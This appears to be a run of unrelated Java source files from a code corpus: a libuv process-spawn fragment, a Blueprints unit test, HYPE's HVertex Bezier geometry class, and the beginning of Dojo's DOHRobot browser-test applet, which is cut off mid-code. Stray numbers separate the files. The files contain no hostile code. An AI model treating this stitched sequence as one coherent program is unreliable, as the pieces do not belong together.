javaArgs.add(args[0].substring(start, end)); final String[] arguments = new String[args.length + javaArgs.size() - 1]; System.arraycopy(javaArgs.toArray(), 0, arguments, 0, javaArgs.size()); System.arraycopy(args, 1, arguments, javaArgs.size(), args.length - 1); int[] stdioFlags = null; long[] streamPointers = null; int[] fds = null; if (stdio != null && stdio.length > 0) { stdioFlags = new int[stdio.length]; streamPointers = new long[stdio.length]; fds = new int[stdio.length]; for (int i = 0; i < stdio.length; i++) { stdioFlags[i] = stdio[i].type(); streamPointers[i] = stdio[i].stream(); fds[i] = stdio[i].fd(); } } else { throw new IllegalArgumentException("StdioOptions cannot be null or empty"); } int processFlags = ProcessFlags.NONE.value; if (flags.contains(ProcessFlags.WINDOWS_VERBATIM_ARGUMENTS)) { processFlags |= ProcessFlags.WINDOWS_VERBATIM_ARGUMENTS.value; } if (flags.contains(ProcessFlags.DETACHED)) { processFlags |= ProcessFlags.DETACHED.value; } LibUVPermission.checkSpawn(arguments[0]); return _spawn(pointer, arguments[0], arguments, env, dir, processFlags, stdioFlags, streamPointers, fds, uid, gid); } public void close() { if (!closed) { _close(pointer); } closed = true; } public int kill(final int signal) { return _kill(pointer, signal); } @Override protected void finalize() throws Throwable { close(); super.finalize(); } private void callClose() { if (onClose != null) { loop.getCallbackHandler().handleProcessCloseCallback(onClose); } } private void callExit(final int status, final int signal, final Exception error) { if (onExit != null) { loop.getCallbackHandler().handleProcessExitCallback(onExit, status, signal, error); } } private static native long _new(final long loop); private static native void _static_initialize(); private native void _initialize(final long ptr); private native int _spawn(final long ptr, final String program, final String[] args, final String[] env, final String dir, final int flags, final int[] stdioFlags, final long[] streams, final int[] fds, final int uid, final int gid); private native void _close(final long ptr); private native int _kill(final long ptr, final int signal); }
3,235
500
package com.tinkerpop.blueprints; import junit.framework.TestCase; /** * @author <NAME> (http://markorodriguez.com) */ public class ParameterTest extends TestCase { public void testEquality() { Parameter<String, Long> a = new Parameter<String, Long>("blah", 7l); Parameter<String, Long> b = new Parameter<String, Long>("blah", 7l); assertEquals(a, a); assertEquals(b, b); assertEquals(a, b); Parameter<String, Long> c = new Parameter<String, Long>("blah", 6l); assertNotSame(a, c); assertNotSame(b, c); Parameter<String, Long> d = new Parameter<String, Long>("boop", 7l); assertNotSame(a, d); assertNotSame(b, d); assertNotSame(c, d); } }
329
590
package hype; import hype.extended.colorist.HColorField; import hype.extended.colorist.HColorPool; import hype.extended.colorist.HPixelColorist; import hype.interfaces.HLocatable; import processing.core.PGraphics; public class HVertex implements HLocatable { public static final float LINE_TOLERANCE = 1.5f; private HPath path; private byte numControlPts; private float u, v, cu1, cv1, cu2, cv2; public int vertexPoolColor; public HVertex(HPath parentPath) { path = parentPath; } public HVertex createCopy(HPath newParentPath) { HVertex copy = new HVertex(newParentPath); copy.numControlPts = numControlPts; copy.u = u; copy.v = v; copy.cu1 = cu1; copy.cv1 = cv1; copy.cu2 = cu2; copy.cv2 = cv2; copy.vertexPoolColor = vertexPoolColor; return copy; } public HPath path() { return path; } public HVertex numControlPts(byte b) { numControlPts = b; return this; } public byte numControlPts() { return numControlPts; } public boolean isLine() { return (numControlPts <= 0); } public boolean isCurved() { return (numControlPts > 0); } public boolean isQuadratic() { return (numControlPts == 1); } public boolean isCubic() { return (numControlPts >= 2); } public HVertex set(float x, float y) { return setUV( path.x2u(x), path.y2v(y)); } public HVertex set(float cx, float cy, float x, float y) { return setUV( path.x2u(cx), path.y2v(cy), path.x2u(x), path.y2v(y)); } public HVertex set( float cx1, float cy1, float cx2, float cy2, float x, float y ) { return setUV( path.x2u(cx1), path.y2v(cy1), path.x2u(cx2), path.y2v(cy2), path.x2u(x), path.y2v(y)); } public HVertex setUV(float u, float v) { numControlPts = 0; this.u = u; this.v = v; return this; } public HVertex setUV(float cu, float cv, float u, float v) { numControlPts = 1; this.u = u; this.v = v; cu1 = cu; cv1 = cv; return this; } public HVertex setUV( float cu1, float cv1, float cu2, float cv2, float u, float v ) { numControlPts = 2; this.u = u; this.v = v; this.cu1 = cu1; this.cv1 = cv1; this.cu2 = cu2; this.cv2 = cv2; return this; } @Override public HVertex x(float f) { return u(path.x2u(f)); } @Override public float x() { return path.u2x(u); } @Override public HVertex y(float f) { return v(path.y2v(f)); } @Override public float y() { return path.v2y(v); } @Override public HVertex z(float f) { return this; } @Override public float z() { return 0; } public HVertex u(float f) { u = f; return this; } public float u() { return u; } public HVertex v(float f) { v = f; return this; } public float v() { return v; } public HVertex cx(float f) { return cx1(f); } public float cx() { return cx1(); } public HVertex cy(float f) { return cy1(f); } public float cy() { return cy1(); } public HVertex cu(float f) { return cu1(f); } public float cu() { return cu1(); } public HVertex cv(float f) { return cv1(f); } public float cv() { return cv1(); } public HVertex cx1(float f) { return cu1(path.x2u(f)); } public float cx1() { return path.u2x(cu1); } public HVertex cy1(float f) { return cv1(path.y2v(f)); } public float cy1() { return path.v2y(cv1); } public HVertex cu1(float f) { cu1 = f; return this; } public float cu1() { return cu1; } public HVertex cv1(float f) { cv1 = f; return this; } public float cv1() { return cv1; } public HVertex cx2(float f) { return cu2(path.x2u(f)); } public float cx2() { return path.u2x(cu2); } public HVertex cy2(float f) { return cv2(path.y2v(f)); } public float cy2() { return path.v2y(cv2); } public HVertex cu2(float f) { cu2 = f; return this; } public float cu2() { return cu2; } public HVertex cv2(float f) { cv2 = f; return this; } public float cv2() { return cv2; } public void computeMinMax(float[] minmax) { if (u < minmax[0]) minmax[0] = u; else if (u > minmax[2]) minmax[2] = u; if (v < minmax[1]) minmax[1] = v; else if (v > minmax[3]) minmax[3] = v; switch (numControlPts) { case 2: if (cu2 < minmax[0]) minmax[0] = cu2; else if (cu2 > minmax[2]) minmax[2] = cu2; if (cv2 < minmax[1]) minmax[1] = cv2; else if (cv2 > minmax[3]) minmax[3] = cv2; case 1: if (cu1 < minmax[0]) minmax[0] = cu1; else if (cu1 > minmax[2]) minmax[2] = cu1; if (cv1 < minmax[1]) minmax[1] = cv1; else if (cv1 > minmax[3]) minmax[3] = cv1; break; default: break; } } public void adjust(float offsetU, float offsetV, float oldW, float oldH) { x(oldW * (u += offsetU)).y(oldH * (v += offsetV)); switch (numControlPts) { case 2: cx2(oldW * (cu2 += offsetU)).cy2(oldH * (cv2 += offsetV)); case 1: cx1(oldW * (cu1 += offsetU)).cy1(oldH * (cv1 += offsetV)); break; default: break; } } private float dv(float pv, float t) { switch (numControlPts) { case 1: return HMath.bezierTangent(pv, cv1, v, t); case 2: return HMath.bezierTangent(pv, cv2, cv2, v, t); default: return v - pv; } } public boolean intersectTest( HVertex pprev, HVertex prev, float tu, float tv, boolean openPath ) { // TODO use pixels with the tolerance float u1 = prev.u; float v1 = prev.v; float u2 = u; float v2 = v; if (isLine() || openPath) { return ((v1 <= tv && tv < v2) || (v2 <= tv && tv < v1)) && tu < (u1 + (u2 - u1) * (tv - v1) / (v2 - v1)); } else if (isQuadratic()) { boolean b = false; float[] params = new float[2]; int numParams = HMath.bezierParam(v1, cv1, v2, tv, params); for (int i = 0; i < numParams; ++i) { float t = params[i]; if (0 < t && t < 1 && tu < HMath.bezierPoint(u1, cu1, u2, t)) { if (HMath.bezierTangent(v1, cv1, v2, t) == 0) continue; b = !b; } else if (t == 0 && tu < u1) { float ptanv = prev.dv(pprev.v, 1); if (ptanv == 0) ptanv = prev.dv(pprev.v, 0.9375f); float ntanv = HMath.bezierTangent(v1, cv1, v2, 0); if (ntanv == 0) ntanv = HMath.bezierTangent(v1, cv1, v2, 0.0625f); if (ptanv < 0 == ntanv < 0) b = !b; } } return b; } else { boolean b = false; float[] params = new float[3]; int numParams = HMath.bezierParam(v1, cv1, cv2, v2, tv, params); for (int i = 0; i < numParams; ++i) { float t = params[i]; if (0 < t && t < 1 && tu < HMath.bezierPoint(u1, cu1, cu2, u2, t)) { if (HMath.bezierTangent(v1, cv1, cv2, v, t) == 0) { float ptanv = HMath.bezierTangent( v1, cv1, cv2, v2, Math.max(t - 0.0625f, 0)); float ntanv = HMath.bezierTangent( v1, cv1, cv2, v2, Math.min(t + .0625f, 1)); if (ptanv < 0 != ntanv < 0) continue; } b = !b; } else if (t == 0 && tu < u1) { float ptanv = prev.dv(pprev.v, 1); if (ptanv == 0) ptanv = prev.dv(pprev.v, 0.9375f); float ntanv = HMath.bezierTangent(v1, cv1, cv2, 0); if (ntanv == 0) ntanv = HMath.bezierTangent( v1, cv1, cv2, v2, 0.0625f); if (ptanv < 0 == ntanv < 0) b = !b; } } return b; } } public boolean inLine(HVertex prev, float relX, float relY) { float x1 = prev.x(); float y1 = prev.y(); float x2 = x(); float y2 = y(); if (isLine()) { float diffv = y2 - y1; if (diffv == 0) { return HMath.isEqual(relY, y1, LINE_TOLERANCE) && ((x1 <= relX && relX <= x2) || (x2 <= relX && relX <= x1)); } float t = (relY - y1) / diffv; return (0 <= t && t <= 1) && HMath.isEqual(relX, x1 + (x2 - x1) * t, LINE_TOLERANCE); } else if (isQuadratic()) { float[] params = new float[2]; int numParams = HMath.bezierParam(y1, cy1(), y2, relY, params); for (int i = 0; i < numParams; ++i) { float t = params[i]; if (0 <= t && t <= 1) { float bzval = HMath.bezierPoint(x1, cx1(), x2, t); if (HMath.isEqual(relX, bzval, LINE_TOLERANCE)) return true; } } return false; } else { float[] params = new float[3]; int numParams = HMath.bezierParam(y1, cy1(), cy2(), y2, relY, params); for (int i = 0; i < numParams; ++i) { float t = params[i]; if (0 <= t && t <= 1) { float bzval = HMath.bezierPoint(x1, cx1(), cx2(), x2, t); if (HMath.isEqual(relX, bzval, LINE_TOLERANCE)) return true; } } return false; } } public void draw(PGraphics g, float drawX, float drawY, boolean isSimple) { float drX = drawX + x(); float drY = drawY + y(); if (isLine() || isSimple) { if (path.vertexColor != null) { //NOTE - VERTEX GRADIENT SHADING WILL ONLY WORK WITH OPENGL OR P3D float alphaFill = (path.fill() >>> 24); //extract transparency/alpha from fill float alphaStroke = (path.stroke() >>> 24); //extract transparency/alpha from stroke if (path.alphaPc() != 1.0f) { //alpha overrides alpha applied to fill / stroke alphaFill = path.alphaPc() * 255; alphaStroke = path.alphaPc() * 255; } int clr = 0; if (path.vertexColor instanceof HColorPool) { clr = vertexPoolColor; } if (path.vertexColor instanceof HPixelColorist) { HPixelColorist c = (HPixelColorist) path.vertexColor; clr = c.getColor(path.x() + drX, path.y() + drY); } if (path.vertexColor instanceof HColorField) { HColorField c = (HColorField) path.vertexColor; clr = c.getColor(path.x() + drX, path.y() + drY, path.fill()); } if (path.vertexColor.appliesFill()) { g.fill(clr, (int) alphaFill); } if (path.vertexColor.appliesStroke()) { g.stroke(clr, (int) alphaStroke); } } if (path.texture != null) { g.vertex(drX, drY, 0, u(), v()); } else { g.vertex(drX, drY); } } else if (isQuadratic()) { float drCX = drawX + cx1(); float drCY = drawY + cy1(); g.quadraticVertex(drCX, drCY, drX, drY); } else { float drCX1 = drawX + cx1(); float drCY1 = drawY + cy1(); float drCX2 = drawX + cx2(); float drCY2 = drawY + cy2(); g.bezierVertex(drCX1, drCY1, drCX2, drCY2, drX, drY); } } public void drawHandles(PGraphics g, HVertex prev, float drawX, float drawY) { if (isLine()) return; float x1 = drawX + prev.x(); float y1 = drawY + prev.y(); float x2 = drawX + x(); float y2 = drawY + y(); g.fill(HPath.HANDLE_FILL); g.stroke(HPath.HANDLE_STROKE); g.strokeWeight(HPath.HANDLE_STROKE_WEIGHT); if (isQuadratic()) { float drCX = drawX + cx1(); float drCY = drawY + cy1(); g.line(x1, y1, drCX, drCY); g.line(x2, y2, drCX, drCY); g.ellipse(drCX, drCY, HPath.HANDLE_SIZE, HPath.HANDLE_SIZE); g.fill(HPath.HANDLE_STROKE); g.ellipse(x1, y1, HPath.HANDLE_SIZE / 2, HPath.HANDLE_SIZE / 2); g.ellipse(x2, y2, HPath.HANDLE_SIZE / 2, HPath.HANDLE_SIZE / 2); } else { float drCX1 = drawX + cx1(); float drCY1 = drawY + cy1(); float drCX2 = drawX + cx2(); float drCY2 = drawY + cy2(); g.line(x1, y1, drCX1, drCY1); g.line(x2, y2, drCX2, drCY2); g.line(drCX1, drCY1, drCX2, drCY2); g.ellipse(drCX1, drCY1, HPath.HANDLE_SIZE, HPath.HANDLE_SIZE); g.ellipse(drCX2, drCY2, HPath.HANDLE_SIZE, HPath.HANDLE_SIZE); g.fill(HPath.HANDLE_STROKE); g.ellipse(x1, y1, HPath.HANDLE_SIZE / 2, HPath.HANDLE_SIZE / 2); g.ellipse(x2, y2, HPath.HANDLE_SIZE / 2, HPath.HANDLE_SIZE / 2); } } }
5,609
581
<reponame>Esri/util<filename>doh/robot/DOHRobot.java import java.security.*; import java.applet.Applet; import java.awt.*; import java.util.*; import java.util.concurrent.*; import java.awt.event.*; import netscape.javascript.*; import java.io.*; import java.lang.reflect.*; import java.net.URL; import java.awt.datatransfer.*; import javax.swing.JOptionPane; import javax.swing.JDialog; import java.awt.image.*; public final class DOHRobot extends Applet{ // order of execution: // wait for user to trust applet // load security manager to prevent Safari hang // discover document root in screen coordinates // discover keyboard capabilities // tell doh to continue with the test // link to doh // To invoke doh, call eval with window.eval("jsexp") // Note that the "window" is an iframe! // You might need to break out of the iframe with an intermediate function // in the parent window. private JSObject window = null; // java.awt.Robot // drives the test // you need to sign the applet JAR for this to work private Robot robot = null; // In order to preserve the execution order of Robot commands, // we have to serialize commands by having them join() the previous one. // Otherwise, if you run doh.robot.typeKeys("dijit"), you frequently get something // like "diijt" //private static Thread previousThread = null; private static ExecutorService threadPool = null; // Keyboard discovery. // At init, the Robot types keys into a textbox and JavaScript tells the // Robot what it got back. // charMap maps characters to the KeyEvent that generates the character on // the user's machine. // charMap uses the Java 1.4.2 (lack of) template syntax for wider // compatibility. private static HashMap charMap = null; // Java key constants to iterate over // not all are available on all machines! private Vector vkKeys = null; // some state variables private boolean shift = false; private boolean altgraph = false; private boolean ctrl = false; private boolean alt = false; private boolean meta = false; private boolean numlockDisabled = false; private long timingError = 0; // how much time the last robot call was off by // shake hands with JavaScript the first keypess to wake up FF2/Mac private boolean jsready = false; private String keystring = ""; // Firebug gets a little too curious about our applet for its own good // setting firebugIgnore to true ensures Firebug doesn't break the applet public boolean firebugIgnore = true; private static String os=System.getProperty("os.name").toUpperCase(); private static Toolkit toolkit=Toolkit.getDefaultToolkit(); private SecurityManager securitymanager; private double key = -1; // The screen x,y of the document upper left corner. // We only set it once so people are less likely to take it over. private boolean inited = false; private int docScreenX = -100; private int docScreenY = -100; private int docScreenXMax; private int docScreenYMax; private Point margin = null; private boolean mouseSecurity = false; private int dohscreen = -1; // The last reported mouse x,y. // If this is different from the real one, something's up. private int lastMouseX; private int lastMouseY; public int dir=1; // save a pointer to doh.robot for fast access JSObject dohrobot = null; // trackingImage to visually track robot down private BufferedImage trackingImage; Point locationOnScreen = null; // java.awt.Applet methods public void stop(){ window = null; dohrobot = null; // only secure code run once if(key != -2){ // prevent further execution of secure functions key = -2; // Java calls this when you close the window. // It plays nice and restores the old security manager. AccessController.doPrivileged(new PrivilegedAction(){ public Object run(){ if(threadPool!=null){ threadPool.shutdownNow(); } log("Stop"); securitymanager.checkTopLevelWindow(null); log("Security manager reset"); return null; } }); } } final private class onvisible extends ComponentAdapter{ public void componentShown(ComponentEvent evt){ // sets the security manager to fix a bug in liveconnect in Safari on Mac if(key != -1){ return; } Runnable thread = new Runnable(){ public void run(){ log("Document root: ~"+applet().getLocationOnScreen().toString()); while(true){ try{ window = (JSObject) JSObject.getWindow(applet()); break; }catch(Exception e){ // wait } } AccessController.doPrivileged(new PrivilegedAction(){ public Object run(){ log("> init Robot"); try{ SecurityManager oldsecurity = System.getSecurityManager(); boolean needsSecurityManager = applet().getParameter("needsSecurityManager").equals("true"); log("Socket connections managed? "+needsSecurityManager); try{ securitymanager = oldsecurity; securitymanager.checkTopLevelWindow(null); // xdomain if(charMap == null){ if(!confirm("DOH has detected that the current Web page is attempting to access DOH,\n"+ "but belongs to a different domain than the one you agreed to let DOH automate.\n"+ "If you did not intend to start a new DOH test by visiting this Web page,\n"+ "press Cancel now and leave the Web page.\n"+ "Otherwise, press OK to trust this domain to automate DOH tests.")){ stop(); return null; } } log("Found old security manager"); }catch(Exception e){ log("Making new security manager"); securitymanager = new RobotSecurityManager(needsSecurityManager, oldsecurity); securitymanager.checkTopLevelWindow(null); System.setSecurityManager(securitymanager); } }catch(SecurityException e){ // OpenJDK is very strict; fail gracefully }catch(Exception e){ log("Error calling _init_: "+e.getMessage()); key = -2; e.printStackTrace(); } log("< init Robot"); return null; } }); if(key == -2){ // applet not trusted // start the test without it window.eval("doh.robot._appletDead=true;doh.run();"); }else{ // now that the applet has really started, let doh know it's ok to use it log("_initRobot"); try{ dohrobot = (JSObject) window.eval("doh.robot"); dohrobot.call("_initRobot", new Object[]{ applet() }); }catch(Exception e){ e.printStackTrace(); } } } }; threadPool.execute(thread); } } public void init(){ threadPool = Executors.newFixedThreadPool(1); // ensure isShowing = true addComponentListener(new onvisible()); ProfilingThread jitProfile=new ProfilingThread (); jitProfile.startProfiling(); jitProfile.endProfiling(); trackingImage=new BufferedImage(3,3,BufferedImage.TYPE_INT_RGB); trackingImage.setRGB(0, 0, 3, 3, new int[]{new Color(255,174,201).getRGB(),new Color(255,127,39).getRGB(),new Color(0,0,0).getRGB(),new Color(237,28,36).getRGB(),new Color(63,72,204).getRGB(),new Color(34,177,76).getRGB(),new Color(181,230,29).getRGB(),new Color(255,255,255).getRGB(),new Color(200,191,231).getRGB()}, 0, 3); } // loading functions public void _setKey(double key){ if(key == -1){ return; }else if(this.key == -1){ this.key = key; } } protected Point getDesktopMousePosition() throws Exception{ Class mouseInfoClass; Class pointerInfoClass; mouseInfoClass = Class.forName("java.awt.MouseInfo"); pointerInfoClass = Class.forName("java.awt.PointerInfo"); Method getPointerInfo = mouseInfoClass.getMethod("getPointerInfo", new Class[0]); Method getLocation = pointerInfoClass.getMethod("getLocation", new Class[0]); Object pointer=null; Point p=null; try{ pointer = getPointerInfo.invoke(pointerInfoClass,new Object[0]); p = (Point)(getLocation.invoke(pointer,new Object[0])); }catch(java.lang.reflect.InvocationTargetException e){ e.getTargetException().printStackTrace(); } return p; } public Point getLocationOnScreen(){ return locationOnScreen==null? super.getLocationOnScreen(): locationOnScreen; } private boolean mouseSecure() throws Exception{ // Use MouseInfo to ensure that mouse is inside browser. // Only works in Java 1.5, but the DOHRobot must compile for 1.4. if(!mouseSecurity){ return true; } Point mousePosition=null; try{ mousePosition=getDesktopMousePosition(); log("Mouse position: "+mousePosition); }catch(Exception e){ return true; } return mousePosition.x >= docScreenX && mousePosition.x <= docScreenXMax && mousePosition.y >= docScreenY && mousePosition.y <= docScreenYMax; } private boolean isSecure(double key){ // make sure key is not unset (-1) or error state (-2) and is the expected key boolean result = this.key != -1 && this.key != -2 && this.key == key; try{ // also make sure mouse in good spot result=result&&mouseSecure(); }catch(Exception e){ e.printStackTrace(); result=false; } if(!result&&this.key!=-2){ this.key=-2; window.eval("doh.robot._appletDead=true;"); log("User aborted test; mouse moved off of browser"); alert("User aborted test; mouse moved off of browser."); log("Key secure: false; mouse in bad spot?"); }else{ log("Key secure: " + result); } return result; } public void _callLoaded(final double sec){ log("> _callLoaded Robot"); Runnable thread = new Runnable(){ public void run(){ if(!isSecure(sec)){ return; } AccessController.doPrivileged(new PrivilegedAction(){ public Object run(){ Point p = getLocationOnScreen(); if(os.indexOf("MAC") != -1){ // Work around stupid Apple OS X bug affecting Safari 5.1 and FF4. // Seems to have to do with the plugin they compile with rather than the jvm itself because Safari5.0 and FF3.6 still work. p = new Point(); int screen=0; dohscreen=-1; int mindifference=Integer.MAX_VALUE; GraphicsDevice[] screens=GraphicsEnvironment.getLocalGraphicsEnvironment().getScreenDevices(); try{ for(screen=0; screen<screens.length; screen++){ // get origin of screen in Java virtual coordinates Rectangle bounds=screens[screen].getDefaultConfiguration().getBounds(); // take picture DisplayMode mode=screens[screen].getDisplayMode(); int width=mode.getWidth(); int height=mode.getHeight(); int twidth=trackingImage.getWidth(); int theight=trackingImage.getHeight(); Robot screenshooter=new Robot(screens[screen]); log("screen dimensions: "+width+" "+height); BufferedImage screenshot=screenshooter.createScreenCapture(new Rectangle(0,0,width,height)); // Ideally (in Windows) we would now slide trackingImage until we find an identical match inside screenshot. // Unfortunately because the Mac (what we are trying to fix) does terrible, awful things to graphics it displays, // we will need to find the "most similar" (smallest difference in pixels) square and click there. int x=0,y=0; for(x=0; x<=width-twidth; x++){ for(y=0; y<=height-theight; y++){ int count=0; int difference=0; scanImage: for(int x2=0; x2<twidth; x2++){ for(int y2=0; y2<theight; y2++){ int rgbdiff=Math.abs(screenshot.getRGB(x+x2,y+y2)-trackingImage.getRGB(x2,y2)); difference=difference+rgbdiff; // short circuit mismatches if(difference>=mindifference){ break scanImage; } } } if(difference<mindifference){ // convert device coordinates to virtual coordinates by adding screen's origin p.x=x+(int)bounds.getX(); p.y=y+(int)bounds.getY(); mindifference=difference; dohscreen=screen; } } } } // create temp robot to put mouse in right spot robot=new Robot(screens[dohscreen]); robot.setAutoWaitForIdle(true); }catch(Exception e){ e.printStackTrace(); } if(p.x==0&&p.y==0){ // shouldn't happen... throw new RuntimeException("Robot not found on screen"); } locationOnScreen=p; }else{ // create default temp robot that should work on non-Macs try{ robot=new Robot(); robot.setAutoWaitForIdle(true); }catch(Exception e){} } log("Document root: ~"+p.toString()); int x = p.x + 16; int y = p.y + 8; // click the mouse over the text box try{ Thread.sleep(100); }catch(Exception e){}; try{ // mouse in right spot; restore control to original robot using browser's preferred coordinates robot = new Robot(); robot.setAutoWaitForIdle(true); robot.mouseMove(x, y); Thread.sleep(100); // click 50 times then abort int i=0; for(i=0; i<50&&!inited; i++){ robot.mousePress(InputEvent.BUTTON1_MASK); Thread.sleep(100); robot.mouseRelease(InputEvent.BUTTON1_MASK); Thread.sleep(100); log("mouse clicked"); } if(i==50){ applet().stop(); } }catch(Exception e){ e.printStackTrace(); } log("< _callLoaded Robot"); return null; } }); } }; threadPool.execute(thread); } // convenience functions private DOHRobot applet(){ return this; } public void log(final String s){ AccessController.doPrivileged(new PrivilegedAction(){ public Object run(){ System.out.println((new Date()).toString() + ": " + s); return null; } }); } private void alert(final String s){ AccessController.doPrivileged(new PrivilegedAction(){ public Object run(){ window.eval("top.alert(\"" + s + "\");"); return null; } }); } private boolean confirm(final String s){ // show a Java confirm dialog. // Mac seems to lock up when showing a JS confirm from Java. //return JOptionPane.showConfirmDialog(this, s, "doh.robot", JOptionPane.OK_CANCEL_OPTION)==JOptionPane.OK_OPTION); JOptionPane pane = new JOptionPane(s, JOptionPane.DEFAULT_OPTION, JOptionPane.OK_CANCEL_OPTION); JDialog dialog = pane.createDialog(this, "doh.robot"); dialog.setLocationRelativeTo(this); dialog.show(); return ((Integer)pane.getValue()).intValue()==JOptionPane.OK_OPTION; } // mouse discovery code public void setDocumentBounds(final double sec, final int x, final int y, final int w, final int h) throws Exception{ // call from JavaScript // tells the Robot where the screen x,y of the upper left corner of the // document are // not screenX/Y of the window; really screenLeft/Top in IE, but not all // browsers have this log("> setDocumentBounds"); if(!isSecure(sec)) return; if(!inited){ DOHRobot _this=applet(); log("initing doc bounds"); inited = true; Point location=_this.getLocationOnScreen(); _this.lastMouseX = _this.docScreenX = location.x; _this.lastMouseY = _this.docScreenY = location.y; _this.docScreenXMax = _this.docScreenX + w; _this.docScreenYMax = _this.docScreenY + h; log("Doc bounds: "+docScreenX+","+docScreenY+" => "+docScreenXMax+","+docScreenYMax); // compute difference between position and browser edge for future reference _this.margin = getLocationOnScreen(); _this.margin.x -= x; _this.margin.y -= y; mouseSecurity=true; }else{ log("ERROR: tried to reinit bounds?"); } log("< setDocumentBounds"); } // keyboard discovery code private void _mapKey(char charCode, int keyindex, boolean shift, boolean altgraph){ log("_mapKey: " + charCode); // if character is not in map, add it if(!charMap.containsKey(new Integer(charCode))){ log("Notified: " + (char) charCode); KeyEvent event = new KeyEvent(applet(), 0, 0, (shift ? KeyEvent.SHIFT_MASK : 0) + (altgraph ? KeyEvent.ALT_GRAPH_MASK : 0), ((Integer) vkKeys.get(keyindex)).intValue(), (char) charCode); charMap.put(new Integer(charCode), event); log("Mapped char " + (char) charCode + " to KeyEvent " + event); if(((char) charCode) >= 'a' && ((char) charCode) <= 'z'){ // put shifted version of a-z in automatically int uppercharCode = (int) Character .toUpperCase((char) charCode); event = new KeyEvent(applet(), 0, 0, KeyEvent.SHIFT_MASK + (altgraph ? KeyEvent.ALT_GRAPH_MASK : 0), ((Integer) vkKeys.get(keyindex)).intValue(), (char) uppercharCode); charMap.put(new Integer(uppercharCode), event); log("Mapped char " + (char) uppercharCode + " to KeyEvent " + event); } } } public void _notified(final double sec, final String chars){ // decouple from JavaScript; thread join could hang it Runnable thread = new Runnable(){ public void run(){ if(!isSecure(sec)) return; AccessController.doPrivileged(new PrivilegedAction(){ public Object run(){ keystring += chars; if(altgraph && !shift){ shift = false; // Set robot auto delay now that FF/Mac inited all of the keys. // Good for DND. robot.setAutoDelay(1); try{ log(keystring); int index = 0; for (int i = 0; (i < vkKeys.size()) && (index < keystring.length()); i++){ char c = keystring.charAt(index++); _mapKey(c, i, false, false); } for (int i = 0; (i < vkKeys.size()) && (index < keystring.length()); i++){ char c = keystring.charAt(index++); _mapKey(c, i, true, false); } for (int i = 0; (i < vkKeys.size()) && (index < keystring.length()); i++){ char c = keystring.charAt(index++); _mapKey(c, i, false, true); } // notify DOH that the applet finished init window.call("_onKeyboard", new Object[]{}); }catch(Exception e){ e.printStackTrace(); } return null; }else if(!shift){ shift = true; }else{ shift = false; altgraph = true; } pressNext(); // } return null; } }); } }; threadPool.execute(thread); } private void pressNext(){ Runnable thread = new Runnable(){ public void run(){ // first time, press shift (have to do it here instead of // _notified to avoid IllegalThreadStateException on Mac) log("starting up, " + shift + " " + altgraph); if(shift){ robot.keyPress(KeyEvent.VK_SHIFT); log("Pressing shift"); } try{ if(altgraph){ robot.keyPress(KeyEvent.VK_ALT_GRAPH); log("Pressing alt graph"); } }catch(Exception e){ log("Error pressing alt graph"); e.printStackTrace(); _notified(key, ""); return; } window.call("_nextKeyGroup", new Object[]{ new Integer(vkKeys.size()) }); for (int keyindex = 0; keyindex < vkKeys.size(); keyindex++){ try{ log("Press " + ((Integer) vkKeys.get(keyindex)).intValue()); robot.keyPress(((Integer) vkKeys.get(keyindex)) .intValue()); log("Release " + ((Integer) vkKeys.get(keyindex)).intValue()); robot.keyRelease(((Integer) vkKeys.get(keyindex)) .intValue()); if(altgraph && (keyindex == (vkKeys.size() - 1))){ robot.keyRelease(KeyEvent.VK_ALT_GRAPH); log("Releasing alt graph"); } if(shift && (keyindex == (vkKeys.size() - 1))){ robot.keyRelease(KeyEvent.VK_SHIFT); log("Releasing shift"); } }catch(Exception e){ } try{ log("Press space"); robot.keyPress(KeyEvent.VK_SPACE); log("Release space"); robot.keyRelease(KeyEvent.VK_SPACE); }catch(Exception e){ e.printStackTrace(); } } } }; threadPool.execute(thread); } public void _initWheel(final double sec){ log("> initWheel"); Runnable thread=new Runnable(){ public void run(){ if(!isSecure(sec)) return; Thread.yield(); // calibrate the mouse wheel now that textbox is focused dir=1; // fixed in 10.6.2 update 1 and 10.5.8 update 6: // http://developer.apple.com/mac/library/releasenotes/CrossPlatform/JavaSnowLeopardUpdate1LeopardUpdate6RN/ResolvedIssues/ResolvedIssues.html // Radar #6193836 if(os.indexOf("MAC") != -1){ // see if the version is greater than 10.5.8 String[] sfixedVersion = "10.5.8".split("\\."); int[] fixedVersion = new int[3]; String[] sthisVersion = System.getProperty("os.version").split("\\."); int[] thisVersion = new int[3]; for(int i=0; i<3; i++){ fixedVersion[i]=Integer.valueOf(sfixedVersion[i]).intValue(); thisVersion[i]=Integer.valueOf(sthisVersion[i]).intValue(); }; // 10.5.8, the fix level, should count as fixed // on the other hand, 10.6.0 and 10.6.1 should not boolean isFixed = !System.getProperty("os.version").equals("10.6.0")&&!System.getProperty("os.version").equals("10.6.1"); for(int i=0; i<fixedVersion.length&&isFixed; i++){ if(thisVersion[i]>fixedVersion[i]){ // definitely newer at this point isFixed = true; break; }else if(thisVersion[i]<fixedVersion[i]){ // definitely older isFixed = false; break; } // equal; continue to next dot } // flip dir if not fixed dir=isFixed?dir:-dir; } robot.mouseWheel(dir); try{ Thread.sleep(100); }catch(Exception e){} log("< initWheel"); } }; threadPool.execute(thread); } public void _initKeyboard(final double sec){ log("> initKeyboard"); // javascript entry point to discover the keyboard if(charMap != null){ window.call("_onKeyboard", new Object[]{}); return; } Runnable thread = new Runnable(){ public void run(){ if(!isSecure(sec)) return; AccessController.doPrivileged(new PrivilegedAction(){ public Object run(){ charMap = new HashMap(); KeyEvent event = new KeyEvent(applet(), 0, 0, 0, KeyEvent.VK_SPACE, ' '); charMap.put(new Integer(32), event); try{ // a-zA-Z0-9 + 29 others vkKeys = new Vector(); for (char i = 'a'; i <= 'z'; i++){ vkKeys.add(new Integer(KeyEvent.class.getField( "VK_" + Character.toUpperCase((char) i)) .getInt(null))); } for (char i = '0'; i <= '9'; i++){ vkKeys.add(new Integer(KeyEvent.class.getField( "VK_" + Character.toUpperCase((char) i)) .getInt(null))); } int[] mykeys = new int[]{ KeyEvent.VK_COMMA, KeyEvent.VK_MINUS, KeyEvent.VK_PERIOD, KeyEvent.VK_SLASH, KeyEvent.VK_SEMICOLON, KeyEvent.VK_LEFT_PARENTHESIS, KeyEvent.VK_NUMBER_SIGN, KeyEvent.VK_PLUS, KeyEvent.VK_RIGHT_PARENTHESIS, KeyEvent.VK_UNDERSCORE, KeyEvent.VK_EXCLAMATION_MARK, KeyEvent.VK_DOLLAR, KeyEvent.VK_CIRCUMFLEX, KeyEvent.VK_AMPERSAND, 